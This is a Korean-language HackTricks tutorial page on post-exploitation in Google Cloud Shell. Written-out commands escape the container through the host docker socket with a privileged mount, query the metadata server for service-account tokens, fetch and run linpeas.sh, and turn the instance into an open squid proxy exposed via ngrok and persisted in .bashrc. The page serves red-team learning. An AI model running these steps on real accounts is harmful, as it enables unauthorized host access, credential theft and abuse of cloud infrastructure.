GCP - Cloud Shell Post Exploitation

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Cloud Shell

Cloud Shell에 대한 자세한 정보는 다음을 확인하세요:

GCP - Cloud Shell Enum

Container Escape

Google Cloud Shell은 컨테이너 내에서 실행되므로, 다음을 수행하여 호스트로 쉽게 탈출할 수 있습니다:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

이것은 구글에 의해 취약점으로 간주되지 않지만, 해당 환경에서 발생하는 일에 대한 더 넓은 시각을 제공합니다.

게다가, 호스트에서 서비스 계정 토큰을 찾을 수 있다는 점에 유의하세요:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

다음 범위와 함께:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS로 메타데이터 열거:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions를 사용한 후 권한이 발견되지 않았습니다...

프록시로 사용하기

구글 클라우드 셸 인스턴스를 프록시로 사용하려면 다음 명령어를 실행해야 합니다(또는 .bashrc 파일에 삽입하세요):

bash
sudo apt install -y squid

squid.conf 파일을 다음 설정으로 생성하세요:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf 파일을 /etc/squid로 복사합니다.

bash
sudo cp squid.conf /etc/squid

마지막으로 squid 서비스를 실행합니다:

bash
sudo service squid start

ngrok을 사용하여 프록시를 외부에서 사용할 수 있도록 하십시오:

bash
./ngrok tcp 3128

tcp:// URL를 복사한 후 실행합니다. 브라우저에서 프록시를 실행하려면 tcp:// 부분과 포트를 제거하고 포트를 브라우저 프록시 설정의 포트 필드에 입력하는 것이 좋습니다(스쿼드는 HTTP 프록시 서버입니다).

시작 시 더 나은 사용을 위해 .bashrc 파일에 다음 줄이 있어야 합니다:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

지침은 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 복사되었습니다. Cloud Shell에서 데이터베이스 및 심지어 Windows와 같은 모든 종류의 소프트웨어를 실행하기 위한 다른 기발한 아이디어는 해당 페이지를 확인하세요.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기